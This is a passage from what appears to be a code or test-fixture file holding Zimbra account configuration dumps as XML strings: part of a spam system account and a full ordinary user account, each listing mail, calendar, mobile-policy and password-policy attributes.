n=\"zimbraZimletAvailableZimlets\">+com_zimbra_webex</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_ymemoticons</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_srchhighlighter</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_phone</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_attachcontacts</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_attachmail</a>\n <a n=\"zimbraPrefCalendarApptAllowAtendeeEdit\">TRUE</a>\n <a n=\"zimbraArchiveAccountDateTemplate\">yyyyMMdd</a>\n <a n=\"zimbraInterceptSendHeadersOnly\">FALSE</a>\n <a n=\"zimbraMobilePolicyRequireEncryptionSMIMEAlgorithm\">0</a>\n <a n=\"zimbraPrefReadingPaneEnabled\">TRUE</a>\n <a n=\"zimbraFeatureFlaggingEnabled\">TRUE</a>\n <a n=\"zimbraFeatureContactsDetailedSearchEnabled\">FALSE</a>\n <a n=\"zimbraNotebookMaxRevisions\">0</a>\n <a n=\"zimbraPasswordMaxAge\">0</a>\n <a n=\"zimbraPrefSharedAddrBookAutoCompleteEnabled\">FALSE</a>\n <a n=\"zimbraJunkMessagesIndexingEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinLowerCaseChars\">0</a>\n <a n=\"zimbraMailForwardingAddressMaxLength\">4096</a>\n <a n=\"zimbraMailDumpsterLifetime\">30d</a>\n <a n=\"zimbraPrefAutoAddAddressEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMFlashTitle\">TRUE</a>\n <a n=\"zimbraPrefAppleIcalDelegationEnabled\">FALSE</a>\n <a n=\"zimbraFeatureVoiceEnabled\">FALSE</a>\n <a n=\"zimbraFileExternalShareLifetime\">90d</a>\n <a n=\"zimbraFeatureVoiceChangePinEnabled\">TRUE</a>\n <a n=\"zimbraPrefOutOfOfficeStatusAlertOnLogin\">TRUE</a>\n <a n=\"zimbraFeatureReadReceiptsEnabled\">TRUE</a>\n <a n=\"zimbraSignatureMaxNumEntries\">20</a>\n <a n=\"zimbraPrefAutoSaveDraftInterval\">30s</a>\n <a n=\"zimbraMaxContactsPerPage\">100</a>\n <a n=\"zimbraPrefCalendarReminderFlashTitle\">TRUE</a>\n <a n=\"zimbraFeaturePeopleSearchEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyDeviceEncryptionEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarAlwaysShowMiniCal\">TRUE</a>\n <a n=\"zimbraPrefSearchTreeOpen\">TRUE</a>\n <a n=\"zimbraPrefColorMessagesEnabled\">FALSE</a>\n <a n=\"zimbraContactAutoCompleteMaxResults\">20</a>\n <a n=\"zimbraPrefCalendarReminderMobile\">FALSE</a>\n <a n=\"zimbraInterceptFrom\">Postmaster &lt;postmaster@${ACCOUNT_DOMAIN}&gt;</a>\n <a n=\"zimbraPrefCalendarApptReminderWarningTime\">5</a>\n <a n=\"zimbraIdentityMaxNumEntries\">20</a>\n <a n=\"zimbraMailThreadingAlgorithm\">references</a>\n <a n=\"zimbraFeatureDiscardInFiltersEnabled\">TRUE</a>\n <a n=\"zimbraFeatureNewMailNotificationEnabled\">TRUE</a>\n <a n=\"zimbraPrefContactsPerPage\">25</a>\n <a n=\"zimbraPrefIMInstantNotify\">TRUE</a>\n <a n=\"zimbraFeatureAdminMailEnabled\">TRUE</a>\n <a n=\"zimbraPrefPop3IncludeSpam\">FALSE</a>\n <a n=\"zimbraFeatureMailForwardingInFiltersEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMIdleTimeout\">10</a>\n <a n=\"zimbraMailTrashLifetime\">30d</a>\n <a n=\"zimbraFeatureOptionsEnabled\">TRUE</a>\n <a n=\"zimbraPasswordLocked\">FALSE</a>\n <a n=\"zimbraPop3Enabled\">TRUE</a>\n <a n=\"zimbraId\">95431bce-8953-4f26-a944-fdc11c83c212</a>\n <a n=\"zimbraMobilePolicyRequireSignedSMIMEMessages\">0</a>\n <a n=\"zimbraContactEmailFields\">email,email2,email3,email4,email5,email6,email7,email8,email9,email10,workEmail1,workEmail2,workEmail3</a>\n <a n=\"zimbraMobilePolicyAllowRemoteDesktop\">1</a>\n <a n=\"zimbraWebClientShowOfflineLink\">TRUE</a>\n <a n=\"zimbraIsSystemResource\">TRUE</a>\n <a n=\"zimbraFilterSleepInterval\">1ms</a>\n <a n=\"zimbraMailQuota\">0</a>\n <a n=\"zimbraPrefPop3DeleteOption\">delete</a>\n <a n=\"zimbraMobilePolicyMaxEmailHTMLBodyTruncationSize\">-1</a>\n <a n=\"zimbraFeatureAdvancedSearchEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowSMIMEEncryptionAlgorithmNegotiation\">2</a>\n <a n=\"zimbraPrefZimletTreeOpen\">FALSE</a>\n <a n=\"zimbraAuthTokenLifetime\">2d</a>\n <a n=\"zimbraPrefComposeInNewWindow\">FALSE</a>\n <a n=\"zimbraPrefCalendarAllowPublishMethodInvite\">FALSE</a>\n <a n=\"zimbraFeatureGalEnabled\">TRUE</a>\n <a n=\"sn\">spam.idnpkyqtc</a>\n <a n=\"zimbraMobilePolicyRequireSignedSMIMEAlgorithm\">0</a>\n <a n=\"zimbraFeatureInstantNotify\">TRUE</a>\n <a n=\"zimbraMobilePolicyRequireDeviceEncryption\">0</a>\n <a n=\"zimbraMailSignatureMaxLength\">10240</a>\n <a n=\"zimbraDumpsterPurgeEnabled\">TRUE</a>\n <a n=\"zimbraDumpsterEnabled\">FALSE</a>\n <a n=\"zimbraFeatureViewInHtmlEnabled\">FALSE</a>\n <a n=\"zimbraPrefUseKeyboardShortcuts\">TRUE</a>\n <a n=\"zimbraPrefUseRfc2231\">FALSE</a>\n <a n=\"zimbraPrefMailSelectAfterDelete\">next</a>\n <a n=\"zimbraPrefDedupeMessagesSentToSelf\">dedupeNone</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">10m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">1m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">2m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">30m</a>\n <a n=\"zimbraDeviceAllowedPasscodeLockoutDuration\">5m</a>\n <a n=\"zimbraMailMinPollingInterval\">2m</a>\n <a n=\"zimbraPrefCalendarShowDeclinedMeetings\">TRUE</a>\n <a n=\"zimbraFeatureMAPIConnectorEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarInitialView\">workWeek</a>\n <a n=\"zimbraAttachmentsBlocked\">FALSE</a>\n <a n=\"zimbraPrefUseTimeZoneListInCalendar\">FALSE</a>\n <a n=\"zimbraCalendarResourceDoubleBookingAllowed\">TRUE</a>\n <a n=\"zimbraFeatureIdentitiesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureFreeBusyViewEnabled\">FALSE</a>\n <a n=\"zimbraPrefJunkLifetime\">0</a>\n <a n=\"zimbraPrefExternalSendersType\">ALL</a>\n <a n=\"zimbraPrefForwardReplyPrefixChar\">&gt;</a>\n <a n=\"zimbraExternalAccountLifetimeAfterDisabled\">30d</a>\n <a n=\"zimbraInterceptBody\">Intercepted message for ${ACCOUNT_ADDRESS}.${NEWLINE}Operation=${OPERATION}, folder=${FOLDER_NAME}, folder ID=${FOLDER_ID}.</a>\n <a n=\"zimbraCalendarShowResourceTabs\">TRUE</a>\n <a n=\"zimbraMobileOutlookSyncEnabled\">TRUE</a>\n <a n=\"zimbraPasswordModifiedTime\">20131104090305Z</a>\n <a n=\"zimbraPrefFolderColorEnabled\">TRUE</a>\n <a n=\"zimbraPrefAdminConsoleWarnOnExit\">TRUE</a>\n <a n=\"zimbraFeatureNewAddrBookEnabled\">TRUE</a>\n <a n=\"amavisBypassSpamChecks\">TRUE</a>\n <a n=\"zimbraPasswordMinLength\">6</a>\n <a n=\"zimbraMobilePolicyAllowHTMLEmail\">1</a>\n <a n=\"zimbraPrefCalendarSendInviteDeniedAutoReply\">FALSE</a>\n <a n=\"userPassword\">VALUE-BLOCKED</a>\n <a n=\"zimbraAttachmentsViewInHtmlOnly\">FALSE</a>\n <a n=\"zimbraPrefConvReadingPaneLocation\">bottom</a>\n <a n=\"zimbraPrefItemsPerVirtualPage\">50</a>\n <a n=\"zimbraMailPurgeUseChangeDateForTrash\">TRUE</a>\n <a n=\"zimbraPrefShowSelectionCheckbox\">FALSE</a>\n <a n=\"zimbraPrefSentLifetime\">0</a>\n <a n=\"zimbraFeatureOutOfOfficeReplyEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMobilePolicyEnabled\">TRUE</a>\n <a n=\"zimbraFeatureDistributionListExpandMembersEnabled\">TRUE</a>\n <a n=\"zimbraFeatureBriefcasesEnabled\">FALSE</a>\n <a n=\"zimbraPrefGalAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraPrefSentMailFolder\">sent</a>\n <a n=\"zimbraPrefSpellIgnoreAllCaps\">TRUE</a>\n <a n=\"zimbraPrefAdvancedClientEnforceMinDisplay\">TRUE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordEnabled\">TRUE</a>\n <a n=\"zimbraMailMessageLifetime\">0</a>\n <a n=\"zimbraFeatureInitialSearchPreferenceEnabled\">TRUE</a>\n <a n=\"zimbraFeatureAntispamEnabled\">TRUE</a>\n <a n=\"zimbraInterceptSubject\">Intercepted message for ${ACCOUNT_ADDRESS}: ${MESSAGE_SUBJECT}</a>\n <a n=\"zimbraPrefIMLogChats\">TRUE</a>\n <a n=\"zimbraPrefCalendarAutoAddInvites\">TRUE</a>\n <a n=\"zimbraPrefInboxReadLifetime\">0</a>\n <a n=\"zimbraPrefShowSearchString\">FALSE</a>\n <a n=\"zimbraNotebookSanitizeHtml\">TRUE</a>\n <a n=\"zimbraFeatureCrocodocEnabled\">FALSE</a>\n <a n=\"zimbraFeatureIMEnabled\">FALSE</a>\n <a n=\"zimbraPrefForwardReplyInOriginalFormat\">TRUE</a>\n <a n=\"zimbraPrefDefaultPrintFontSize\">12pt</a>\n <a n=\"zimbraArchiveAccountNameTemplate\">${USER}-${DATE}@${DOMAIN}.archive</a>\n <a n=\"zimbraFeatureSignaturesEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinNumericChars\">0</a>\n <a n=\"zimbraFeatureCalendarEnabled\">TRUE</a>\n <a n=\"zimbraPrefClientType\">advanced</a>\n <a n=\"zimbraFeatureMailUpsellEnabled\">FALSE</a>\n <a n=\"zimbraMailHighlightObjectsMaxSize\">70</a>\n <a n=\"zimbraPrefMailRequestReadReceipts\">FALSE</a>\n <a n=\"zimbraFileUploadMaxSizePerFile\">2147483648</a>\n <a n=\"zimbraFeatureMobileSyncEnabled\">FALSE</a>\n <a n=\"zimbraPrefInboxUnreadLifetime\">0</a>\n <a n=\"zimbraExternalShareLifetime\">0</a>\n <a n=\"zimbraPrefMailSendReadReceipts\">never</a>\n <a n=\"zimbraHideInGal\">TRUE</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">Facebook</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">LinkedIn</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">SocialCast</a>\n <a n=\"zimbraFeatureSocialFiltersEnabled\">Twitter</a>\n <a n=\"zimbraMobilePolicyMaxEmailAgeFilter\">2</a>\n <a n=\"zimbraQuotaWarnInterval\">1d</a>\n <a n=\"zimbraPrefAutoCompleteQuickCompletionOnComma\">TRUE</a>\n <a n=\"uid\">spam.idnpkyqtc</a>\n <a n=\"zimbraMobilePolicyAllowUnsignedInstallationPackages\">1</a>\n <a n=\"zimbraFeatureExportFolderEnabled\">TRUE</a>\n <a n=\"zimbraDataSourceRssPollingInterval\">12h</a>\n <a n=\"zimbraCalendarMaxRevisions\">1</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontSize\">12pt</a>\n <a n=\"zimbraMobilePolicyAllowDesktopSync\">1</a>\n <a n=\"zimbraFeatureCalendarReminderDeviceEmailEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarAllowForwardedInvite\">TRUE</a>\n <a n=\"zimbraFeatureBriefcaseDocsEnabled\">TRUE</a>\n <a n=\"zimbraIsSystemAccount\">TRUE</a>\n <a n=\"zimbraPasswordMaxLength\">64</a>\n <a n=\"zimbraMobilePolicyAllowTextMessaging\">1</a>\n <a n=\"zimbraFilterBatchSize\">10000</a>\n <a n=\"zimbraMobilePolicyMaxDevicePasswordFailedAttempts\">4</a>\n <a n=\"zimbraPrefIncludeSpamInSearch\">FALSE</a>\n <a n=\"zimbraFeatureChangePasswordEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailEnabled\">TRUE</a>\n <a n=\"zimbraPrefMailItemsPerPage\">25</a>\n <a n=\"zimbraPrefReplyIncludeOriginalText\">includeBody</a>\n <a n=\"zimbraFeatureSMIMEEnabled\">FALSE</a>\n <a n=\"zimbraFeatureContactsUpsellEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyMaxEmailBodyTruncationSize\">-1</a>\n <a n=\"zimbraPrefCalendarFirstDayOfWeek\">0</a>\n <a n=\"zimbraPrefMailInitialSearch\">in:inbox</a>\n <a n=\"zimbraPortalName\">example</a>\n <a n=\"zimbraFreebusyExchangeCachedInterval\">60d</a>\n <a n=\"zimbraPrefCalendarAllowCancelEmailToSelf\">FALSE</a>\n <a n=\"zimbraFeatureImportExportFolderEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderSoundsEnabled\">TRUE</a>\n <a n=\"zimbraPrefTrashLifetime\">0</a>\n <a n=\"zimbraMobilePolicyAllowSimpleDevicePassword\">FALSE</a>\n <a n=\"zimbraPrefCalendarDayHourEnd\">18</a>\n <a n=\"zimbraArchiveEnabled\">FALSE</a>\n <a n=\"zimbraFeatureOpenMailInNewWindowEnabled\">TRUE</a>\n <a n=\"zimbraZimletLoadSynchronously\">FALSE</a>\n <a n=\"zimbraPublicSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMSoundsEnabled\">TRUE</a>\n <a n=\"zimbraFeatureBriefcaseSpreadsheetEnabled\">FALSE</a>\n <a n=\"zimbraPrefMandatorySpellCheckEnabled\">FALSE</a>\n <a n=\"zimbraPrefIMIdleStatus\">away</a>\n <a n=\"zimbraDataSourceMinPollingInterval\">1m</a>\n <a n=\"zimbraPrefIMAutoLogin\">FALSE</a>\n <a n=\"zimbraPrefFileSharingApplication\">briefcase</a>\n <a n=\"zimbraMaxMailItemsPerPage\">100</a>\n <a n=\"zimbraFeatureManageZimlets\">TRUE</a>\n <a n=\"zimbraPasswordLockoutEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarToasterEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarApptVisibility\">public</a>\n <a n=\"zimbraPrefCalendarUseQuickAdd\">TRUE</a>\n <a n=\"zimbraFeatureComposeInNewWindowEnabled\">TRUE</a>\n </account>\n\"\"\"\n\nNORMAL_ACCOUNT =\"\"\"\n<account id=\"6baba381-86b3-48e6-a5bb-88fc29bdbc64\" name=\"<EMAIL>\">\n <a n=\"zimbraMobilePolicyAllowUnsignedApplications\">1</a>\n <a n=\"zimbraPrefMailFlashTitle\">FALSE</a>\n <a n=\"zimbraMailForwardingAddressMaxNumAddrs\">100</a>\n <a n=\"zimbraMailStatus\">enabled</a>\n <a n=\"zimbraFeatureConversationsEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderYMessenger\">FALSE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordHistory\">8</a>\n <a n=\"zimbraMobilePolicyAllowSMIMESoftCerts\">1</a>\n <a n=\"zimbraPrefDeleteInviteOnReply\">TRUE</a>\n <a n=\"zimbraAllowAnyFromAddress\">FALSE</a>\n <a n=\"zimbraMobilePolicyRequireManualSyncWhenRoaming\">0</a>\n <a n=\"zimbraPasswordLockoutMaxFailures\">10</a>\n <a n=\"zimbraPrefShortEmailAddress\">TRUE</a>\n <a n=\"zimbraMobileSmartForwardRFC822Enabled\">FALSE</a>\n <a n=\"zimbraPrefForwardIncludeOriginalText\">includeBody</a>\n <a n=\"zimbraContactAutoCompleteEmailFields\">email,email2,email3,workEmail1,workEmail2,workEmail3</a>\n <a n=\"zimbraPrefShowFragments\">TRUE</a>\n <a n=\"zimbraMobilePolicyMaxInactivityTimeDeviceLock\">15</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontFamily\">times new roman, new york, times, serif</a>\n <a n=\"zimbraMobilePolicyAllowIrDA\">1</a>\n <a n=\"zimbraPasswordMinAlphaChars\">0</a>\n <a n=\"zimbraMobilePolicyRequireEncryptedSMIMEMessages\">0</a>\n <a n=\"zimbraFeatureExternalFeedbackEnabled\">FALSE</a>\n <a n=\"zimbraPrefComposeFormat\">text</a>\n <a n=\"zimbraFeatureMailForwardingEnabled\">TRUE</a>\n <a n=\"zimbraCalendarCalDavSharedFolderCacheDuration\">1m</a>\n <a n=\"zimbraPrefCalendarReminderSendEmail\">FALSE</a>\n <a n=\"zimbraPrefContactsInitialView\">list</a>\n <a n=\"zimbraBatchedIndexingSize\">20</a>\n <a n=\"zimbraDeviceLockWhenInactive\">FALSE</a>\n <a n=\"zimbraPrefAutocompleteAddressBubblesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailPollingIntervalPreferenceEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarReminderDuration1\">-PT15M</a>\n <a n=\"zimbraFeatureTaggingEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMReportIdle\">TRUE</a>\n <a n=\"zimbraFeaturePortalEnabled\">FALSE</a>\n <a n=\"zimbraPrefCalendarDefaultApptDuration\">60m</a>\n <a n=\"zimbraMobilePolicyAllowBrowser\">1</a>\n <a n=\"zimbraPrefWarnOnExit\">TRUE</a>\n <a n=\"zimbraMobilePolicyDevicePasswordExpiration\">0</a>\n <a n=\"zimbraAttachmentsIndexingEnabled\">TRUE</a>\n <a n=\"zimbraPrefGetMailAction\">default</a>\n <a n=\"zimbraPrefOutOfOfficeCacheDuration\">7d</a>\n <a n=\"zimbraExternalShareDomainWhitelistEnabled\">FALSE</a>\n <a n=\"zimbraPrefConversationOrder\">dateDesc</a>\n <a n=\"zimbraPrefIMHideBlockedBuddies\">FALSE</a>\n <a n=\"zimbraFeatureZimbraAssistantEnabled\">TRUE</a>\n <a n=\"zimbraPrefShowCalendarWeek\">FALSE</a>\n <a n=\"zimbraPrefAccountTreeOpen\">TRUE</a>\n <a n=\"zimbraMailWhitelistMaxNumEntries\">100</a>\n <a n=\"zimbraPrefIncludeTrashInSearch\">FALSE</a>\n <a n=\"zimbraMailHost\">zimbratest.example.com</a>\n <a n=\"zimbraMobilePolicyMinDevicePasswordLength\">4</a>\n <a n=\"zimbraFeatureSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefGalSearchEnabled\">TRUE</a>\n <a n=\"zimbraPrefIMHideOfflineBuddies\">FALSE</a>\n <a n=\"zimbraPublicShareLifetime\">0</a>\n <a n=\"zimbraQuotaWarnPercent\">90</a>\n <a n=\"zimbraDumpsterUserVisibleAge\">30d</a>\n <a n=\"zimbraPrefConvShowCalendar\">FALSE</a>\n <a n=\"zimbraFeatureGroupCalendarEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowStorageCard\">1</a>\n <a n=\"zimbraFeatureMailPriorityEnabled\">TRUE</a>\n <a n=\"zimbraPrefFolderTreeOpen\">TRUE</a>\n <a n=\"zimbraGalSyncAccountBasedAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraFeatureHtmlComposeEnabled\">TRUE</a>\n <a n=\"zimbraPrefCalendarDayHourStart\">8</a>\n <a n=\"cn\">albacore</a>\n <a n=\"zimbraFilePublicShareLifetime\">0</a>\n <a n=\"zimbraNewMailNotificationFrom\">Postmaster &lt;postmaster@${RECIPIENT_DOMAIN}&gt;</a>\n <a n=\"zimbraSpamApplyUserFilters\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowConsumerEmail\">1</a>\n <a n=\"zimbraDataSourceCalendarPollingInterval\">12h</a>\n <a n=\"zimbraPrefSaveToSent\">TRUE</a>\n <a n=\"zimbraFreebusyLocalMailboxNotActive\">FALSE</a>\n <a n=\"zimbraFeatureVoiceUpsellEnabled\">FALSE</a>\n <a n=\"zimbraDataSourceImportOnLogin\">FALSE</a>\n <a n=\"zimbraPrefIMLogChatsEnabled\">TRUE</a>\n <a n=\"zimbraSmtpRestrictEnvelopeFrom\">TRUE</a>\n <a n=\"zimbraFeatureManageSMIMECertificateEnabled\">FALSE</a>\n <a n=\"zimbraFeatureSavedSearchesEnabled\">TRUE</a>\n <a n=\"zimbraCalendarKeepExceptionsOnSeriesTimeChange\">FALSE</a>\n <a n=\"zimbraMobilePolicyPasswordRecoveryEnabled\">TRUE</a>\n <a n=\"mail\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarNotifyDelegatedChanges\">FALSE</a>\n <a n=\"zimbraImapEnabled\">TRUE</a>\n <a n=\"zimbraContactMaxNumEntries\">10000</a>\n <a n=\"zimbraPrefMailSignatureStyle\">outlook</a>\n <a n=\"zimbraPrefIdentityName\">DEFAULT</a>\n <a n=\"zimbraFeatureFiltersEnabled\">TRUE</a>\n <a n=\"zimbraNewMailNotificationBody\">New message received at ${RECIPIENT_ADDRESS}.${NEWLINE}Sender: ${SENDER_ADDRESS}${NEWLINE}Subject: ${SUBJECT}</a>\n <a n=\"zimbraFeatureBriefcaseSlidesEnabled\">FALSE</a>\n <a n=\"zimbraFeatureWebSearchEnabled\">TRUE</a>\n <a n=\"zimbraPrefMessageViewHtmlPreferred\">TRUE</a>\n <a n=\"zimbraMailTrustedSenderListMaxNumEntries\">500</a>\n <a n=\"zimbraPrefCalendarViewTimeInterval\">1h</a>\n <a n=\"zimbraMobilePolicyAllowInternetSharing\">1</a>\n <a n=\"zimbraPrefGroupMailBy\">conversation</a>\n <a n=\"zimbraPasswordMinUpperCaseChars\">0</a>\n <a n=\"zimbraPrefContactsExpandAppleContactGroups\">FALSE</a>\n <a n=\"zimbraFeatureContactsEnabled\">TRUE</a>\n <a n=\"zimbraExternalSharingEnabled\">TRUE</a>\n <a n=\"zimbraPrefImapSearchFoldersEnabled\">TRUE</a>\n <a n=\"objectClass\">inetOrgPerson</a>\n <a n=\"objectClass\">zimbraAccount</a>\n <a n=\"objectClass\">amavisAccount</a>\n <a n=\"zimbraPrefContactsDisableAutocompleteOnContactGroupMembers\">FALSE</a>\n <a n=\"zimbraFreebusyExchangeCachedIntervalStart\">7d</a>\n <a n=\"zimbraMailTransport\">lmtp:zimbratest.example.com:7025</a>\n <a n=\"zimbraFileAndroidCrashReportingEnabled\">TRUE</a>\n <a n=\"zimbraPrefVoiceItemsPerPage\">25</a>\n <a n=\"zimbraPrefIncludeSharedItemsInSearch\">FALSE</a>\n <a n=\"zimbraAdminAuthTokenLifetime\">12h</a>\n <a n=\"zimbraMailAllowReceiveButNotSendWhenOverQuota\">FALSE</a>\n <a n=\"zimbraMailPurgeUseChangeDateForSpam\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowWiFi\">1</a>\n <a n=\"zimbraMobilePolicyAllowPartialProvisioning\">TRUE</a>\n <a n=\"zimbraStandardClientCustomPrefTabsEnabled\">FALSE</a>\n <a n=\"zimbraMailSpamLifetime\">30d</a>\n <a n=\"zimbraPrefIMNotifyPresence\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowPOPIMAPEmail\">1</a>\n <a n=\"zimbraPrefOpenMailInNewWindow\">FALSE</a>\n <a n=\"zimbraPrefHtmlEditorDefaultFontColor\">#000000</a>\n <a n=\"zimbraMobileMetadataMaxSizeEnabled\">FALSE</a>\n <a n=\"zimbraDeviceFileOpenWithEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAllowBluetooth\">2</a>\n <a n=\"zimbraPrefTimeZoneId\">Europe/Berlin</a>\n <a n=\"zimbraPrefWhenSentToEnabled\">FALSE</a>\n <a n=\"zimbraPrefReadingPaneLocation\">right</a>\n <a n=\"zimbraPrefStandardClientAccessibilityMode\">FALSE</a>\n <a n=\"zimbraPrefForwardReplySignatureId\">11111111-1111-1111-1111-111111111111</a>\n <a n=\"zimbraMailIdleSessionTimeout\">0</a>\n <a n=\"zimbraPrefMailFlashIcon\">FALSE</a>\n <a n=\"zimbraFileShareLifetime\">0</a>\n <a n=\"zimbraPrefMailToasterEnabled\">FALSE</a>\n <a n=\"zimbraFeaturePop3DataSourceEnabled\">TRUE</a>\n <a n=\"zimbraPasswordMinDigitsOrPuncs\">0</a>\n <a n=\"zimbraPasswordMinAge\">0</a>\n <a n=\"zimbraShareLifetime\">0</a>\n <a n=\"zimbraMaxVoiceItemsPerPage\">100</a>\n <a n=\"zimbraMailBlacklistMaxNumEntries\">100</a>\n <a n=\"zimbraPrefTagTreeOpen\">TRUE</a>\n <a n=\"zimbraFeatureSocialcastEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicyAllowNonProvisionableDevices\">TRUE</a>\n <a n=\"zimbraFeatureConfirmationPageEnabled\">FALSE</a>\n <a n=\"zimbraFeatureGalSyncEnabled\">TRUE</a>\n <a n=\"zimbraPrefMailSoundsEnabled\">FALSE</a>\n <a n=\"zimbraFeatureTasksEnabled\">TRUE</a>\n <a n=\"zimbraFeatureGalAutoCompleteEnabled\">TRUE</a>\n <a n=\"zimbraMobilePolicyAlphanumericDevicePasswordRequired\">FALSE</a>\n <a n=\"zimbraQuotaWarnMessage\">From: Postmaster &lt;postmaster@${RECIPIENT_DOMAIN}&gt;${NEWLINE}To: ${RECIPIENT_NAME} &lt;${RECIPIENT_ADDRESS}&gt;${NEWLINE}Subject: Quota warning${NEWLINE}Date: ${DATE}${NEWLINE}Content-Type: text/plain${NEWLINE}${NEWLINE}Your mailbox size has reached ${MBOX_SIZE_MB}MB, which is over ${WARN_PERCENT}% of your ${QUOTA_MB}MB quota.${NEWLINE}Please delete some messages to avoid exceeding your quota.${NEWLINE}</a>\n <a n=\"zimbraFeatureShortcutAliasesEnabled\">TRUE</a>\n <a n=\"zimbraFeatureCalendarUpsellEnabled\">FALSE</a>\n <a n=\"zimbraFileIOSCrashReportingEnabled\">TRUE</a>\n <a n=\"zimbraFeatureMailSendLaterEnabled\">FALSE</a>\n <a n=\"zimbraFeatureFromDisplayEnabled\">TRUE</a>\n <a n=\"zimbraPrefBriefcaseReadingPaneLocation\">right</a>\n <a n=\"zimbraFeatureImapDataSourceEnabled\">TRUE</a>\n <a n=\"zimbraPasswordLockoutDuration\">1h</a>\n <a n=\"zimbraMobilePolicyRefreshInterval\">1440</a>\n <a n=\"zimbraPasswordMinPunctuationChars\">0</a>\n <a n=\"zimbraMobilePolicyMaxCalendarAgeFilter\">4</a>\n <a n=\"zimbraFeatureDistributionListFolderEnabled\">TRUE</a>\n <a n=\"zimbraPrefMarkMsgRead\">0</a>\n <a n=\"zimbraMobilePolicyAllowCamera\">1</a>\n <a n=\"zimbraDataSourceMaxNumEntries\">20</a>\n <a n=\"zimbraFeatureImportFolderEnabled\">TRUE</a>\n <a n=\"zimbraDevicePasscodeEnabled\">FALSE</a>\n <a n=\"zimbraIMService\">zimbra</a>\n <a n=\"zimbraContactRankingTableSize\">200</a>\n <a n=\"zimbraFeaturePriorityInboxEnabled\">TRUE</a>\n <a n=\"zimbraPrefSkin\">serenity</a>\n <a n=\"zimbraAccountStatus\">active</a>\n <a n=\"zimbraPasswordLockoutFailureLifetime\">1h</a>\n <a n=\"zimbraDeviceOfflineCacheEnabled\">FALSE</a>\n <a n=\"zimbraPrefMessageIdDedupingEnabled\">TRUE</a>\n <a n=\"zimbraNewMailNotificationSubject\">New message received at ${RECIPIENT_ADDRESS}</a>\n <a n=\"zimbraPrefIMNotifyStatus\">TRUE</a>\n <a n=\"zimbraPrefMailPollingInterval\">5m</a>\n <a n=\"zimbraPrefDisplayExternalImages\">FALSE</a>\n <a n=\"zimbraPrefShowComposeDirection\">FALSE</a>\n <a n=\"zimbraPrefCalendarWorkingHours\">1:N:0800:1700,2:Y:0800:1700,3:Y:0800:1700,4:Y:0800:1700,5:Y:0800:1700,6:Y:0800:1700,7:N:0800:1700</a>\n <a n=\"zimbraPrefTasksReadingPaneLocation\">right</a>\n <a n=\"zimbraMailDeliveryAddress\"><EMAIL></a>\n <a n=\"zimbraPrefCalendarShowPastDueReminders\">TRUE</a>\n <a n=\"zimbraMobilePolicyMinDevicePasswordComplexCharacters\">0</a>\n <a n=\"zimbraSignatureMinNumEntries\">1</a>\n <a n=\"zimbraPasswordEnforceHistory\">0</a>\n <a n=\"zimbraPrefIMFlashIcon\">TRUE</a>\n <a n=\"zimbraFeatureSkinChangeEnabled\">TRUE</a>\n <a n=\"zimbraFeatureNotebookEnabled\">FALSE</a>\n <a n=\"zimbraMobilePolicySuppressDeviceEncryption\">FALSE</a>\n <a n=\"zimbraSyncWindowSize\">0</a>\n <a n=\"zimbraPrefIMToasterEnabled\">FALSE</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_email</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_url</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_date</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_webex</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_ymemoticons</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_srchhighlighter</a>\n <a n=\"zimbraZimletAvailableZimlets\">+com_zimbra_phone</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_attachcontacts</a>\n <a n=\"zimbraZimletAvailableZimlets\">!com_zimbra_attachmail</a>\n <a 